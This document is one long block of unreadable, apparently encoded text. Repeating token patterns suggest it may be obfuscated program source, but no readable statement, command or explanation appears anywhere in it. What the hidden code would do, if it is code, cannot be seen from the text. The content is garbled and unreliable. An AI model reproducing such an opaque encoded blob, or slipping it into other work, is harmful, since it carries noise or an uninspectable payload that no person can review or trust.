T[B}lOiT`Til{_Oil{OBTD{T[B}lOib\H[{b[}T[[T[B}lOi|TWobRVl[{Vx[D{_bO}{_rBVk}ku xZR@}{|TWoxOO{x_|TWoVixOO{x_rBVk}ku xZR@}{RAARJ|TVxx{_x`ibbvcb\T Z_bW_|`i{bT[{_{Dl_{\{Pi{k_xHZ[}\_DblOVxx{_ZP}uZ`vklHurr{i{O[x}lOVxx{_ZP}uZ`vklHurr{i{OT[B}lOi[xD{D|V`\DHorvro} TOP_`T[B}lOi[xD{D@R@xOTiO`||`}PT[B}lOi[xD{D\D[P[ixvkTk{\xHrb[H|bTriVHc}TPiobi\riT_@}|@OD{xkHxT[B}lOi[xD{DB\R[DVDx_@`_Ou\voTo||WB}c{}@lvbOZlP`|xZOlboPHDiDvRx}DOWT{W_Pobr_b}B[vVZ_ u[u _{}li{_i`BDx|OVBOlxOVBOlxO{olii}{xTlxOr_b}B[vVZ_ u[u T[B}lOi[xD{Do\xV_VTVR|P{P \rvvlou}bB`WVvTv_Z`viObRcT@WBVBOlxO{oliii[i_{x\{_@`{Ri[i_{x\{_@`{Ri_xOV{`BVlB@ VubP|WiW_xOi`{DB[{ioToxDH_Zr__kkxRVBOlxO{oliiNAVGFA]RhZnNUF]PGZ\]DDlT[Z EDZHVA]_IG\\WEZUrq`cg{@PlEVA\ C_FTZ]QR^dftz}wa~XW[GJp|vDooUKe	ubxoBI
kjiYHhNnOmySsGISGi\{_xu T[B}lOrb	dKCAYoo
RD`@mE|UVohXwNqFeJyvZpsPkcH]^WtnaQ~gfzjAU\AYY@GA_V]VYHC@GAC\@GVhYnACUR_@VVhYn	UhCnNAVGFA]ANUF]PGZ\]E]AP@TR^\BGZHYZAVGFA]DDlT[Z EDYNUF]PGZ\]_TUZFZHYZAVGFA]DDlT[Z EDYNUF]PGZ\]_R
@lGEYPZHYZAVGFA]DDlT[Z EDYN99UF]PGZ\]YF AUlW@^[KUAIQY\H_^]^KUAIQY\ AVGFA]_^]^N99999WVUZ]VWDDlT[Z ED\AVKZG99UF]PGZ\]B
C\ZlAP^PVX_\G_^Z9H9AVGFA]Z@@VGt|qr`h_TUZFnt|qr`h_TUZFn	_R
@lGEYP9N9UF]PGZ\]YDA[\
D@PQVUAV9H9AVGFA]lluzvll9N9UF]PGZ\]@_WE[^XGUGJJQ99H99AVGFA]_R
@lGEYP YDA[\
D@PQVUAV9N9UF]PGZ\]\B_Z[AFl\Dl9H9ZUE]AP@TR^\BG_TUZFAVGFA]C_FTZ]lQR@V]R^VYDA[\
D@PQVUAV9K_@IF@\]EA
WYDA[\
D@PQVUAV9CG
lCZE\FD WVUZ]VW_TUZFdclcftz}lwza	9ZUCG
lCZE\FD E]AP@TR^\BGK_@IF@\]EA
WCG
lCZE\FD AVGFA]_R
@lGEYP_TUZF
K_@IF@\]EA
WDDlT[Z EDCG
lCZE\FD 9AVGFA]_TUZF _R
@lGEYPK_@IF@\]EA
WE]AP@TR^\BGK_@IF@\]EA
W9N9UF]PGZ\]VAIWl[U_Q@W
EZPCT
@9H999AVGFA]_R
@lGEYP WVUZ]VWDDlT[Z EDdc~flcftz}lwza	dclp|}gv}glwzaE]AP@TR^\BG9N9UF]PGZ\]@A\XI@CUP^@AI][9H9AVGFA]E]AP@TR^\BGYDA[\
D@PQVUAV9N9UF]PGZ\]BRFY @QI@lG^KYXQV
YBXYGE\QVIU YZZ
WA]V @Z VTDG
UR_@V9H9AVGFA]_TUZFDDlT[Z EDsE]AP@TR^\BGKYXQV
YBXYGE\QVIU YZZWA]V @Z VTDG
	UR_@VVZRCB\Vc{cl~ry|aleva`z|}WGPDlXVZRCB\V9N999UF]PGZ\]QD^BPU^^^C \V^XUQlGD[XBGQVIU YZZ9H9999AVGFA]_TUZFDDlT[Z EDs_R
@lGEYP^XUQlGD[XBGQVIU YZZ	UR_@V9N9UF]PGZ\]D_[][\JlFKFCVGRU^XUQlGD[XBG9H999AVGFA]_TUZFE]AP@TR^\BGsDDlT[Z ED^XUQlGD[XBG	UR_@VDW ^]K_ACP

W

GV
lWA
@\_
RDW ^]K_ACP

WDW ^]K_ACP

W	DW ^]K_ACP

W999N9UF]PGZ\]PICJFA]JXF[  [TDE^XUQlGD[XBG^WZFYV XKY]Z9H999AVGFA]_TUZF_R
@lGEYP
s_TUZF
^XUQlGD[XBG^WZFYV XKY]Z	UR_@V999N999UF]PGZ\]E[VEEQGFXUA\[^P^XUQlGD[XBG99H9RZ\GUFC^]YGKGEIDXW PEEB\U]9AVGFA]PICJFA]JXF[  [TDE^XUQlGD[XBGRZ\GUFC^RZ\GUFC^



ZIZ
Z\RY[KG9999N99UF]PGZ\]_R]IA^^ITD] WVQTZIRlVF
^Z
@KBZ9H9sZ]ER_ZWRGVWVCV]WV]PJTARC[99AVGFA]_R
@lGEYPDDlT[Z EDsE]AP@TR^\BGQTZIRlVF
^Z
@KBZ	UR_@V9N9UF]PGZ\]QB]BW^J@BXXW
RQTZIRlVF
^Z
@KBZ9H9999AVGFA]_R
@lGEYP_R
@lGEYPsE]AP@TR^\BGQTZIRlVF
^Z
@KBZ	UR_@V9N9UF]PGZ\]IJER FCWFJ\^KYXQV
YBXYGE\^XUQlGD[XBG9H999AVGFA]_R
@lGEYP_TUZF s_R
@lGEYPKYXQV
YBXYGE\^XUQlGD[XBG	UR_@V9N9UF]PGZ\][F]I@PAR^AE\QQ\R9H9@CVPF_RGVVKRPGP\]GA\_U_\DTARC[999@GRGZPJAZY[]Z_[E]F__99ZUJAZY[]Z_[E]F__AVGFA]JAZY[]Z_[E9JAZY[]Z_[E_R
@lGEYP_TUZFDDlT[Z ED	_R
@lGEYP999ZUs_R
@lGEYPJAZY[]Z_[EsDDlT[Z EDJAZY[]Z_[EAVGFA]JAZY[]Z_[E9JWF\WA\R__WVUZ]VW_R
@lGEYP
dclp|}gv}glwza	WVUZ]VWE]AP@TR^\BGrq`crg{E]AP@TR^\BG 	9ZUJWF\WA\R__H9K_@IF@\]EA
W_R
@lGEYP JWF\WA\R___R
@lGEYP _TUZF 9ZUs_R
@lGEYP  K_@IF@\]EA
WsDDlT[Z ED K_@IF@\]EA
WKKWQGAFV999ZUs_R
@lGEYP  K_@IF@\]EA
WsE]AP@TR^\BG K_@IF@\]EA
WH9VWTVPR@VTFRAW99ZU_R
@lGEYP _TUZF sCFGV]EDDlT[Z ED K_@IF@\]EA
W9t|qr`h_TUZF 
n9JAZY[]Z_[EK_@IF@\]EA
W9N9N9AVGFA]JAZY[]Z_[E9N9UF]PGZ\]UI]l^^Bl@JV9H9KYXQV
YBXYGE\@A\XI@CUP^@AI][999QVIU YZZVAIWl[U_Q@W
EZPCT
@9UR__QRPXP\^CRPG[VRC99ZUKYXQV
YBXYGE\QVIU YZZAVGFA]GAFV9999ZUE]AP@TR^\BG_R
@lGEYPH9KF@UX[@JXs_R
@lGEYPKYXQV
YBXYGE\9^ZJBF
\Ws_TUZFQVIU YZZ9AVGFA]KF@UX[@JXUR_@V^ZJBF
\WUR_@VKF@UX[@JX^ZJBF
\W999N9AVGFA]UR_@V9N9UF]PGZ\]ZIZ
Z\RY[KG9H99AVGFA]
 
DlVITZC
 WQ@^CJK@_DlVITZC 9N9UF]PGZ\]ET
F^JGPCQCW AYWQX9H9ZUWVUZ]VWE]AP@TR^\BGAVGFA]9JWF\WA\R__WVUZ]VW_TUZF
dclp|}gv}glwza	rq`crg{E]AP@TR^\BG 9AVGFA]DDlT[Z ED JWF\WA\R__DDlT[Z EDE]AP@TR^\BG_TUZF
_R
@lGEYPrq`crg{_TUZFE]AP@TR^\BG_TUZF
E]AP@TR^\BGrq`crg{DDlT[Z EDm_R
@lGEYP9N9UF]PGZ\]XFT PCCAIY[[_CC\A^IR]F__9H9^XUQlGD[XBGET
F^JGPCQCW AYWQX9ZU^XUQlGD[XBGAVGFA]UR_@V9ZUE]AP@TR^\BG [[_CC\A^IROO_R
@lGEYP[[_CC\A^IRKP
KQ[[_CC\A^IRIU]_R^BXF_[ \U R9ZU[[_CC\A^IROOZRG
\KYQ\R AXG[[_CC\A^IRAVGFA]UR_@V9KYXQV
YBXYGE\_TUZF^XUQlGD[XBGQRUCEJ]lc{cl~ry|aleva`z|}[@UJ U_CGWlDQRUCEJ]l9ZUsDDlT[Z EDKYXQV
YBXYGE\BRFY @QI@lG^KYXQV
YBXYGE\GAFV9ZUsDDlT[Z EDKYXQV
YBXYGE\OOs_R
@lGEYP KYXQV
YBXYGE\AVGFA]UR_@V999ZUs_R
@lGEYP^XUQlGD[XBGH9ZUDDlT[Z EDQYDlT@]@EWXY@ZT[YT\FY@GAZ]TsDDlT[Z ED^XUQlGD[XBGE]AP@TR^\BG[[_CC\A^IRAVGFA]GAFV99^YEFJYJJWAF_CUlABElR[EJ 
T^XUQlGD[XBG999ZU^YEFJYJJ]F__EVA@Z\]lP\^CRAV^YEFJYJJB
C\ZlAP^PVX_\G_^ZAVGFA]UR_@V9F]@VG^YEFJYJJ9N9ZU_Bl[
X^GYCY^P ^XUQlGD[XBG[[_CC\A^IRAVGFA]UR_@V9QD^BPU^^^C \V^XUQlGD[XBG  
9PZZUJW[@
ClCF^XUQlGD[XBG9AVGFA]GAFV9N9UF]PGZ\]GlU \UKI
FF\\XW@9HXAZYQP ^
TEDJYKEIACXAZYQP ^
TED9[[_CC\A^IRIU]_R^BXF_[ \U R9ZU[[_CC\A^IROOZRG
\KYQ\R AXG[[_CC\A^IRAVGFA]UR_@V9AYRKTE\^E]AP@TR^\BGYDA[\
D@PQVUAV_R
@lGEYP9Z]^ECVK\YDQI_TUZFDDlT[Z ED
R\^]V JWXZ_	WVUZ]VWE]AP@TR^\BGdclp|}gv}glwza	9ZUZ]^ECVK\YDQIAVGFA]UR_@V999CG
lCZE\FD Z]^ECVK\YDQIDDlT[Z EDAYRKTE\^9l]Y_[ C_CG
lCZE\FD AYRKTE\^DDlT[Z ED9GDJQX^XZTV^
VUR_@V999ZUDDlT[Z ED_R
@lGEYPH9ZRK] _@
TBZs_R
@lGEYP l]Y_[ C_9EWFZYRIlQsDDlT[Z EDYDA[\
D@PQVUAV9GDJQX^XZTV^
VE]AP@TR^\BG ZRK] _@
TBZ_TUZFEWFZYRIlQZRK] _@
TBZEWFZYRIlQ9N9ZUGDJQX^XZTV^
VH999ZUsDDlT[Z EDCG
lCZE\FD BRFY @QI@lG^CG
lCZE\FD  GAFV99ZUs_TUZFCG
lCZE\FD OOs_TUZF CG
lCZE\FD AVGFA]UR_@V9ZUsE]AP@TR^\BGl]Y_[ C_OODDlT[Z EDQYDlT@]@EWXY@ZT[YT\FY@GAZ]TsE]AP@TR^\BGl]Y_[ C_E]AP@TR^\BG[[_CC\A^IRH9ZUs_R
@lGEYPl]Y_[ C_HZB@BDWQAXCKKQEWYEQl BWDP[ZB@BDWQAXC9^YEFJYJJWAF_CUlABElR[EJ 
Tl]Y_[ C_99ZU^YEFJYJJ]F__EVA@Z\]lP\^CRAV^YEFJYJJB
C\ZlAP^PVX_\G_^ZAVGFA]UR_@V9F]@VG^YEFJYJJ9N9dcaZP[gVKGrczU\]GURPV99ZU_Bl[
X^GYCY^P l]Y_[ C_Z
GB\BC_AR[[_CC\A^IRAVGFA]UR_@VE_II]EQc{clz}gl~rkc{clz}gl~rkIP^C
JAAVE_II]EQ9QD^BPU^^^C \Vl]Y_[ C_ 
9E[VEEQGFXUA\[^Pl]Y_[ C_999PZZUJW[@
ClCFl]Y_[ C_999N9N9A\GRGVCA\EZWVAU\Adcc\@GrFG[\A999ZU_TUZF_TUZF_TUZF_TUZF
H9l[\
WA[Q^]AAYRKTE\^AYRKTE\^_R
@lGEYP99\]F[ V\RTVGl\CGZ\]DDlT[Z EDRAARJ99ZU_R
@lGEYP\]F[ V\R\]F[ V\RRAARJEXXTIAFD KX[ZYPBEXXTIAFD 9ZUDDlT[Z ED l[\
WA[Q^]A\]F[ V\RGAFVH9\]F[ V\Rhnl[\
WA[Q^]A9FCWRGVl\CGZ\]DDlT[Z ED_TUZF\]F[ V\R9N9N9AVGFA]GAFVPUYYU^AVPU
K]\JTTFJAIPUYYU^AVPU9N9UF]PGZ\]WAF_CUlABElR[EJ 
T^XUQlGD[XBG9H9][\CVDB[
BD\s_R
@lGEYP^XUQlGD[XBGUR_@V]F__ 9ZU_R
@lGEYP][\CVDB[
BD\AVGFA]]F__99ZUDDlT[Z EDE]AP@TR^\BG][\CVDB[
BD\QVIU YZZAVGFA]QVIU YZZhn9AVGFA]]F__9N99UF]PGZ\]_J_RI]_\_lDP^BGWYVCPXGQWC^XC^\Q PZ]9H99sP_VRA@GRGPRP[VGAFVBGWYVCPXG99R ^RlV]
lsE]AP@TR^\BG
BGWYVCPXG99ZUR ^RlV]
lOOR ^RlV]
l


ZIZ
Z\RY[KGH9AVGFA]UR_@V9N9999CEX
FJWs_R
@lGEYPBGWYVCPXG9AVGFA]CEX
FJWCEX
FJWQWC^XC^\Q PZ]9999N9UF]PGZ\]KlUV_XlVJ@APYFl_9H99AVGFA]KQK 
9N9UF]PGZ\]JE_G]BUYZ@J\GJXW999H99AVGFA]DDlT[Z ED999N9999UF]PGZ\]QAJXX
_CJ9H9AVGFA]DDlT[Z ED9N99UF]PGZ\]GKWQ_lBW^F AXK9H9sCAVV^CG^ZWW_VDRAV99999ZUDDlT[Z EDDDlT[Z ED AVGFA]GAFV9ZUZ^]YE^TZ[V@\\ZCTABAVGFA]GAFV999T ZUXCBPZ@@VGl`vaevahDDlT[Z EDnDDlT[Z ED@GAZ]Tl`vaevahDDlT[Z EDn	999ZUT ZUXCBP_TUZFT ZUXCBP_R
@lGEYPUR_@VOODDlT[Z EDT ZUXCBPE]AP@TR^\BG
UR_@VOO_R
@lGEYP
T ZUXCBPE]AP@TR^\BG
UR_@VAVGFA]GAFV9ZUT ZUXCBP_R
@lGEYP
E]AP@TR^\BG
 Z@@VGl`vaevahDDlT[Z ED
nAVGFA]GAFV9AVGFA]UR_@V9N9UF]PGZ\]Z^]YE^TZ[V@\\ZCTAB999H9T ZUXCBPZ@@VGl`vaevah_R
@lGEYP
nl`vaevahDDlT[Z ED
n	9AVGFA]_TUZFT ZUXCBP@GAZC\@T ZUXCBPDDlT[Z ED
UR_@V9N9UF]PGZ\]DQQUU\AVJlWBB]U[IXWQCAQQ9H9YFUJlCKD_T[I_R
@lGEYPDDlT[Z ED
sDDlT[Z ED
_TUZF
	UR_@V9ZUYFUJlCKD_T[IOOYFUJlCKD_T[IAVGFA]GAFV9lWV
P@Z]AUsE]AP@TR^\BG
]U[IXWQCAQQ9ZUlWV
P@Z]AUlWV
P@Z]AU]U[IXWQCAQQ9U\AVRP[DDlT[Z ED

crg{l`vcrarg|aYFUJlCKD_T[IR@^WX
]UZlGZUP]H9^RA@[R_]VT\GZRG\AU\Adcv]GZGJcA\EZWVA99^WX
]UZlGZUP]_TUZF ^WX
]UZlGZUP]_R
@lGEYP9ZU^WX
]UZlGZUP]lWV
P@Z]AU^WX
]UZlGZUP]OO_TUZFlWV
P@Z]AU^WX
]UZlGZUP]wzavpg|ajl`vcrarg|aAVGFA]GAFV9999N9AVGFA]UR_@V9N9UF]PGZ\]DJ@RVYGDUWDJYGF
BV_YW]PJBlWJ9H9UZ]R_ZIV^Z]Z^R_QAZWTV99JBZREIQXD_YW]PJBlWJOWVUZ]VWE]AP@TR^\BGwql}r~v	OWVUZ]VWE]AP@TR^\BGrq`crg{	9AVGFA]_R
@lGEYPJBZREIQXD9N9UF]PGZ\]AUBEA@R_
YU_YW]PJBlWJ9H9T_\QR_DCWQ99ZUZ@@VGt|qr`h_TUZF nOOE]AP@TR^\BGt|qr`h_R
@lGEYPnt|qr`h_R
@lGEYPnRAARJ999ZUV^CGJt|qr`hDDlT[Z EDnh_YW]PJBlWJnH9^Q@GAZ]T@GAZPG]\]PVER_ZWRGZ\]99t|qr`hDDlT[Z EDnh_YW]PJBlWJn99AVGFA]GAFV9N9ZUE]AP@TR^\BGDCWQ_TUZFDCWQE]AP@TR^\BGH9WA]V @Z VTDG
sDCWQTVGlERAE]AP@TR^\BG
DJ@RVYGDUWDJYGF
BV_YW]PJBlWJ_R
@lGEYP9ZUWA]V @Z VTDG
H9t|qr`hDDlT[Z EDnh_YW]PJBlWJn9AVGFA]GAFV9N9ZUWA]V @Z VTDG
AVGFA]UR_@V9N99ZUE]AP@TR^\BGE]AP@TR^\BGDDlT[Z EDE]AP@TR^\BG H9T_TC
VX
F RAARJ9ZUE]AP@TR^\BG_R
@lGEYPT_TC
VX
F hnE]AP@TR^\BG9ZUWVUZ]VWDDlT[Z EDT_TC
VX
F hndclp|}gv}glwza99ZUWVUZ]VWDDlT[Z EDT_TC
VX
F hnDDlT[Z EDrq`crg{DDlT[Z EDQY[A^ 
O P[JlEZ^lQY[A^ m
9U\AVRP[T_TC
VX
F R@KYXQV
YBXYGE\H9sF][\\XWVP\ARG\A999ZUKYXQV
YBXYGE\OOsDDlT[Z EDKYXQV
YBXYGE\OOs_TUZF KYXQV
YBXYGE\P\]GZ]FV9YZW\AFARF_V
sE]AP@TR^\BG KYXQV
YBXYGE\_TUZFDJ@RVYGDUWDJYGF
BV_YW]PJBlWJE]AP@TR^\BGP9ZUYZW\AFARF_V
UR_@VH9ZUsU_\PXYZW\AFARF_V
|pxlvkO|pxl}qH9dcuF__`ZGVvWZGZ]T	RCCA\KZ^RGVWUZ_GVAP[RZ]99999sUP_\@VYZW\AFARF_V
9AVGFA]UR_@V999N9ZUZ@@VGt|qr`h_TUZFnOO_TUZFt|qr`hE]AP@TR^\BGnt|qr`hDDlT[Z EDnRAARJ9t|qr`h_TUZF
nh_YW]PJBlWJnYZW\AFARF_V
999t|qr`h_TUZFnh_YW]PJBlWJn9AVGFA]GAFV9999N99N9N9AVGFA]UR_@V9N9UF]PGZ\]U [AKZ GZDPVDTR]]F
_YW]PJBlWJ9H9T_\QR_DCWQ9ZUV^CGJt|qr`hE]AP@TR^\BGnh_YW]PJBlWJnAVGFA]9t|qr`h_TUZFnh_YW]PJBlWJn99ZUt|qr`hDDlT[Z EDnh_YW]PJBlWJnAVGFA]9F]@VGt|qr`hE]AP@TR^\BGnh_YW]PJBlWJn9ZUZ@@VGt|qr`h_TUZF
nh_YW]PJBlWJnH9sU_\PXt|qr`h_TUZF
nh_YW]PJBlWJn|pxlf}9sUP_\@Vt|qr`h_R
@lGEYPnh_YW]PJBlWJn9F]@VGt|qr`hDDlT[Z EDnh_YW]PJBlWJn9N999ZUDDlT[Z EDDCWQ_TUZFDCWQDDlT[Z EDH9sDCWQBFVAJE]AP@TR^\BGDJ@RVYGDUWDJYGF
BV_YW]PJBlWJ_R
@lGEYP 9N99N9UF]PGZ\]@UWV\QUJX\T^ZCR VK9H9ZUWVUZ]VWE]AP@TR^\BGwz`r|dluzvl~|w`AVGFA]UR_@V999AVGFA]GAFV9N9UF]PGZ\]XJRP]KB[TWB[URIEFFI
ZCITDKQ[VTBBQI9H9GAJH9ZUZ]GVAURPVlVKZ@G@_R
@lGEYPTDKQ[VTBBQIZ]@GR]PV\Ug[A\DRQ_VH9AAEE^BG\
Y_TUZF
WB[URIEFFI
ZCIDDlT[Z EDTDKQ[VTBBQITVG~V@@RTV9NV_@VZUTDKQ[VTBBQIZ]@GR]PV\UvKPVCGZ\]H9AAEE^BG\
Y_R
@lGEYPWB[URIEFFI
ZCIE]AP@TR^\BGTDKQ[VTBBQITVG~V@@RTV9NV_@VZU_R
@lGEYPTDKQ[VTBBQI_TUZFTDKQ[VTBBQIH9AAEE^BG\
Y_TUZFWB[URIEFFI
ZCIDDlT[Z EDTDKQ[VTBBQIKUKQ9NV_@VH9dc{ZT[VA|AWVAp\^C\]V]G@GRK\]\^JAVTZ@GARGZ\]9999AVGFA]99N9ZUZ@@VGt|qr`hDDlT[Z ED
nt|qr`h_TUZF
nRAARJ9ZU_R
@lGEYP AAEE^BG\
Yt|qr`h_TUZF
nGAFVH9t|qr`h_TUZF
nhnAAEE^BG\
Y9N9ZU_R
@lGEYP t|qr`hDDlT[Z ED
nH99t|qr`h_R
@lGEYP nDDlT[Z ED t|qr`hE]AP@TR^\BG n9N999NPRGP[g[A\DRQ_VB]QEATG\KWH99NPRGP[vKPVCGZ\]B]QEATG\KWH9N9N9UF]PGZ\]C@A@EXDYWDWTG][\CVDB[
BD\]W\lXAG A^XUQlGD[XBGmVVZRG^JUEQ[VG9H9ZUE]AP@TR^\BG_TUZF  AVGFA]UR_@V9ZU_TUZF ]W\lXAG AH999AVGFA]RWWlRPGZ\]][\CVDB[
BD\UF]PGZ\]EGIBCQ_E CEFRWF@V]W\lXAG AH9ZUDDlT[Z ED]W\lXAG AAVGFA]]W\lXAG AEGIBCQ_E CEFRW9AVGFA]]F__9N^XUQlGD[XBGVVZRG^JUEQ[VG999N9AVGFA]RWWlRPGZ\]][\CVDB[
BD\]W\lXAG A^XUQlGD[XBGVVZRG^JUEQ[VG9N9UF]PGZ\]GBEBVB\ GCB]^^ IP][\CVDB[
BD\]W\lXAG A^XUQlGD[XBGVVZRG^JUEQ[VG9H9ZUE]AP@TR^\BGDDlT[Z ED AVGFA]UR_@V[ElAPQA]ZG
ZWTQ[ElAPQA][ElAPQA]	[ElAPQA]9ZU_TUZF ]W\lXAG AH99AVGFA]RWWlUZ_GVA][\CVDB[
BD\UF]PGZ\]EGIBCQ_E CEFRWF@V]W\lXAG AH9ZU_R
@lGEYP ]W\lXAG AAVGFA]]W\lXAG AEGIBCQ_E CEFRW9AVGFA]Z@@VGEGIBCQ_E CEFRWhnEGIBCQ_E CEFRWhn	]F__9N^XUQlGD[XBGVVZRG^JUEQ[VG9N9AVGFA]RWWlUZ_GVA][\CVDB[
BD\]W\lXAG A^XUQlGD[XBGVVZRG^JUEQ[VG9N9UF]PGZ\]BBBVA
XCV@AY@^T9999H9^WX
]UZlGZUP]WVUZ]VWDDlT[Z EDdclp|}gv}glwzaE]AP@TR^\BGBQ
D\KCTWT^C^KB\rq`crg{DDlT[Z ED KK	E]AP@TR^\BGYDA[\
D@PQVUAV_R
@lGEYP 
9ZUsE]AP@TR^\BG^WX
]UZlGZUP]DQQUU\AVJlWBB^WX
]UZlGZUP]H9BRFY @QI@lG^^WX
]UZlGZUP] GAFV9999ZUs_TUZF^WX
]UZlGZUP]H9\ZVFJWG^Y_ AV QD
I]K^WX
]UZlGZUP]DDlT[Z EDC[C`Z_V]PVZ@T\_WV]o]E]AP@TR^\BG 99N999N9ZUsDDlT[Z ED^WX
]UZlGZUP]s_TUZF^WX
]UZlGZUP]H9999AVGFA]^WX
]UZlGZUP]9N9[T[XTERAQ[_TUZFYDA[\
D@PQVUAVE]AP@TR^\BG9ZUs_TUZF [T[XTERAQ[DQQUU\AVJlWBB[T[XTERAQ[BRFY @QI@lG^[T[XTERAQ[KVKGAFV9ZUs_TUZF [T[XTERAQ[sE]AP@TR^\BG[T[XTERAQ[AVGFA][T[XTERAQ[999ET
ZQPDJUB\E]AP@TR^\BGYDA[\
D@PQVUAV99ZUsE]AP@TR^\BGET
ZQPDJUB\ET
ZQPDJUB\VAIWl[U_Q@W
EZPCT
@AVGFA]ET
ZQPDJUB\9ZUWVUZ]VW_TUZFsDDlT[Z EDdclp|}gv}glwzaDQQUU\AVJlWBBdclp|}gv}glwzaAVGFA]dclp|}gv}glwza999AVGFA]^WX
]UZlGZUP]9N9UF]PGZ\]R\^]V JWXZ_9H9ZUWVUZ]VW_R
@lGEYPs_TUZFdclp|}gv}glwzaDQQUU\AVJlWBBdclp|}gv}glwzaAVGFA]dclp|}gv}glwza999V
KTD_UDDlT[Z EDYDA[\
D@PQVUAV9ZUDQQUU\AVJlWBBV
KTD_UAVGFA]V
KTD_U9AVGFA]dclp|}gv}glwza9999N99UF]PGZ\]WlQ^TGDA
Q[FBJJE]U[IXWQCAQQ9H9ZUV^CGJt|qr`hE]AP@TR^\BGnOO_R
@lGEYPt|qr`hDDlT[Z EDnAVGFA]UR_@V9ZUZ@@VGt|qr`hE]AP@TR^\BGnh]U[IXWQCAQQnAVGFA]GAFV9lWV
P@Z]AU_TUZF _TUZF
sE]AP@TR^\BG
]U[IXWQCAQQ	UR_@V99AVGFA]lWV
P@Z]AUUR_@VZ@@VGt|qr`h_R
@lGEYPnhlWV
P@Z]AUn9N9UF]PGZ\]Y[]WAT
\VIQ]IIT@BGE]U[IXWQCAQQ9H9ZUV^CGJt|qr`hDDlT[Z EDnOODDlT[Z EDt|qr`h_TUZF
nAVGFA]9F]@VGt|qr`h_TUZF
nh]U[IXWQCAQQn9lWV
P@Z]AU_R
@lGEYP E]AP@TR^\BG
sE]AP@TR^\BG
]U[IXWQCAQQ	UR_@V9ZUlWV
P@Z]AUUR_@VF]@VGt|qr`hE]AP@TR^\BG
nhlWV
P@Z]AUn9N9UF]PGZ\]I[_AKBTWF[J^QD WG_T]U[IXWQCAQQ9H9ZUZ@@VGt|qr`h_R
@lGEYPnOODDlT[Z EDt|qr`hDDlT[Z EDnH9t|qr`h_R
@lGEYPnRAARJ9N9GVGQ_U
lQ_V_R
@lGEYP _R
@lGEYP
s_TUZF]U[IXWQCAQQ	UR_@V9t|qr`hE]AP@TR^\BGnhGVGQ_U
lQ_VUR_@VGVGQ_U
lQ_V	]U[IXWQCAQQn]U[IXWQCAQQ9@GRGZP^ JlI[CPPXGTUR_@V9ZU^ JlI[CPPXGTH\ZXT[I_[QRDU@@C[GRP^^G\ZXT[I_[QRD\ZXT[I_[QRD	\ZXT[I_[QRD9^ JlI[CPPXGTGAFV9ZU_TUZF DDlT[Z ED E]AP@TR^\BGE]AP@TR^\BG9N9N99UF]PGZ\]VZYTYUlYD]ZAA9H9ZUV^CGJt|qr`h_R
@lGEYPnOOE]AP@TR^\BGt|qr`h_TUZFnH9AVGFA]9N9U\AVRP[t|qr`hDDlT[Z EDnR@BV[G[JVlTCCZVYW[XPIH9sF]A\__@XZC_Z@G99ZUDDlT[Z ED CZVYW[XPICZVYW[XPIBV[G[JVlTC99ZUBV[G[JVlTCYDA[\
D@PQVUAVOOCZVYW[XPIYDA[\
D@PQVUAVP\]GZ]FV9GAJH9ZUs_TUZFCZVYW[XPIH9ZUDDlT[Z ED E]AP@TR^\BGQD^BPU^^^C \VCZVYW[XPI 

9ZU_R
@lGEYP DDlT[Z EDD_[][\JlFKFCVGRUCZVYW[XPI_TUZF
DDlT[Z EDs\CPRP[VlZ]ER_ZWRGVCZVYW[XPIGAFV9N9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9N9999N9UF]PGZ\]IWT]\VR
RPZIAG9H9GAJH9TDKQ[VTBBQIDDlT[Z ED
_R
@lGEYPsVAA\AlTVGl_R@G	]F__9ZU_R
@lGEYPTDKQ[VTBBQIOOV^CGJTDKQ[VTBBQIh_R
@lGEYP nOOV^CGJTDKQ[VTBBQIhDDlT[Z EDnAVGFA]9ZU_TUZF TDKQ[VTBBQIh_R
@lGEYPnRAARJvlvaa|avlcra`vvlp|avlvaa|avlp|~czvlvaa|avlf`valvaa|aGAFVAVGFA]9QVIU YZZZ@@VGTDKQ[VTBBQIhE]AP@TR^\BGn@GAZ]TTDKQ[VTBBQIh_R
@lGEYPn	WElGPUKJlID
WWG^]TZPWElGPUK9ZU@GAZC\@QVIU YZZDDlT[Z EDUR_@VOO@GAZC\@QVIU YZZ_R
@lGEYPUR_@VAVGFA]9GDJQX^XZTV^
VE]AP@TR^\BG
DDlT[Z EDs_R
@lGEYP
YDA[\
D@PQVUAV	YDA[\
D@PQVUAV9999lVU_R
@lGEYP
E]AP@TR^\BGs_R
@lGEYPTDKQ[VTBBQIh_TUZFn	TDKQ[VTBBQIhE]AP@TR^\BG n9ZU_R
@lGEYP GDJQX^XZTV^
VOO_TUZF lVUOOlVUGDJQX^XZTV^
VAVGFA]9ZUZ@@VGt|qr`h_R
@lGEYPnH9]VTRGZEVWVUZ]ZGV[R]W@[RXV99IJPICRZDV^CsE]AP@TR^\BGYDA[\
D@PQVUAVUR_@V]F__9ZU_TUZF IJPICRZDV^CDDlT[Z EDDDlT[Z EDIJPICRZDV^ClW^lW^hn@GAZ]Tt|qr`h_TUZFnAVGFA]9F]@VGIJPICRZDV^ClW^9ZUZ@@VGt|qr`h_TUZFnH9ZU_R
@lGEYPE]AP@TR^\BGsP_VRA@GRGPRP[VGAFVYDA[\
D@PQVUAV9[G
@WBJFYEQU@GAZ]TsE]AP@TR^\BGYDA[\
D@PQVUAV	@GAZ]Ts_TUZF
YDA[\
D@PQVUAV9ZU[G
@WBJFYEQU@GAZ]Tt|qr`hE]AP@TR^\BGnAVGFA]9F]@VG[G
@WBJFYEQU9N9N9AYRKTE\^_TUZFYDA[\
D@PQVUAVE]AP@TR^\BG9C^DTT[DD_QJE]AP@TR^\BGQYDlT@]@EWXY@ZT[YT\FY@GAZ]TsDDlT[Z EDYDA[\
D@PQVUAV999\ZVFJWG^Y_ AV QD
I]KE]AP@TR^\BGYDA[\
D@PQVUAVE]AP@TR^\BG
AYRKTE\^C^DTT[DD_QJB9ZUC^DTT[DD_QJH9\ZVFJWG^Y_ AV QD
I]KE]AP@TR^\BGYDA[\
D@PQVUAV_R
@lGEYPC^DTT[DD_QJ@GAZ]T_TUZFB9ZU_R
@lGEYP_TUZF
H9z]G_VKGV]@Z\]	\Q@GAFPGZ\]UAVVCAZ\AZGJBFVFV99sFCWRGVl\CGZ\]DDlT[Z EDC^DTT[DD_QJO_R
@lGEYP E]AP@TR^\BG9N9N9\FGRD IXAB_VAIWl[U_Q@W
EZPCT
@9ZU\FGRD IXAB_E]AP@TR^\BGYDA[\
